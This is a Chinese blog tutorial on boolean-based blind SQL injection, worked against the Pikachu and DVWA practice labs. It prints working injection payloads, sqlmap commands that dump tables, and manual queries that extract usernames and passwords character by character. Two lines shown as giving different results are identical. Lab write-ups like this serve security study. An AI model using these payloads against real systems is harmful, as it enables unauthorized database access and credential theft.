SQL注入之路之二:布尔型(boolean)盲注

布尔型(boolean)盲注

页面不会返回数据库的内容,所以不能使用联合查询将敏感信息显示在页面上,但是可以通过构造SQL语句来获取数据。
输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注 入漏洞 1’and ‘1’='1 一样 1’and ‘1’='2 不一样,如果输入检测语句页面没有任何改 变可以使用延时语句进行检测 1’and sleep(10)–+ 函数 sleep() 在 mysql 是延时 返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行
在这里插入图片描述

用SQLMap爆破

查询是否存在sqlmap已知的漏洞

sqlmap -u"url" -batch

在这里插入图片描述

获取所有的数据库

sqlmap -u"url" --dbs  -batch

在这里插入图片描述

获取数据库的表名

sqlmap -u"url" -D pikachu --tables  -batch

在这里插入图片描述

获取对应数据库表中的字段名

sqlmap -u"url" -D pikachu -T member --columns  -batch

在这里插入图片描述

获取字段的内容

sqlmap -u"url" -D pikachu -T member -C id,username,pw --dump  -batch

在这里插入图片描述

手工爆破

布尔型盲注入查询长度

要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比

返回正常界面
vince' and length(database())>=7#

在这里插入图片描述

返回错误界面
vince' and length(database())>=7#

在这里插入图片描述
综上可知数据库长度为7

布尔型盲注入获取数据库名

数据库常用字符如下:
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz. @_
将这些字符和数据库中的每一个字符进行比较得到最终的数据库名
获取数据库第一个字符,输入vince' and if(substring(database(),1,1)='p',1,0)
在这里插入图片描述
(后续需要一个个爆破较为麻烦,所以建议用burpsuite来进行爆破)

用bp来判断数据库长度

添加变量
语句:vince' and length(database())>=2#
在这里插入图片描述
开始攻击
在这里插入图片描述

获取数据库名

添加变量

kobe' and (select substr(database(),1,1))='k'#

在这里插入图片描述
爆破数据库
在这里插入图片描述

获取表的长度

输入kobe' and length((select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu' )) = 1 #
在这里插入图片描述
(个人能力有限,手工注入未能实现,但在dvwa靶场能够成功完成,待后续补充)

DVWA靶场实验:

查询数据库长度

1' and if(length(database())=4,1,0)#

在这里插入图片描述

获取数据库名

数据库常用字符如下:
0123456789ABCDEFGHIJKLMNOPQRSTU
VWXYZabcdefghijklmnopqrstuvwxyz. @_

将这些字符和数据库中的每一个字符进行比较得到最终的数据库名
获取到第一个字段数为d

1' and if(substring(database(),1,1)='d',1,0)#

* SUBSTRING ( expression, start, length )

在这里插入图片描述
但这种方式只是减轻了查询一个字段数的时间,因此我们可以对多个字段同时进行查询
在这里插入图片描述
获取到完整的数据库名
在这里插入图片描述

获取表名

1'and if(substring((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)

在这里插入图片描述
同样一个个查询表名过于麻烦,我们也可以批量处理
在这里插入图片描述

获取users的字段名

1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0)#
//limit有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据,“limit 3,2”表示从第四行数据开始,取两条数据

在这里插入图片描述

获取账号和密码

查询账号和密码的长度
1'and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit 1)=38,1,0)

在这里插入图片描述

获取到账号和密码
1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)#

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值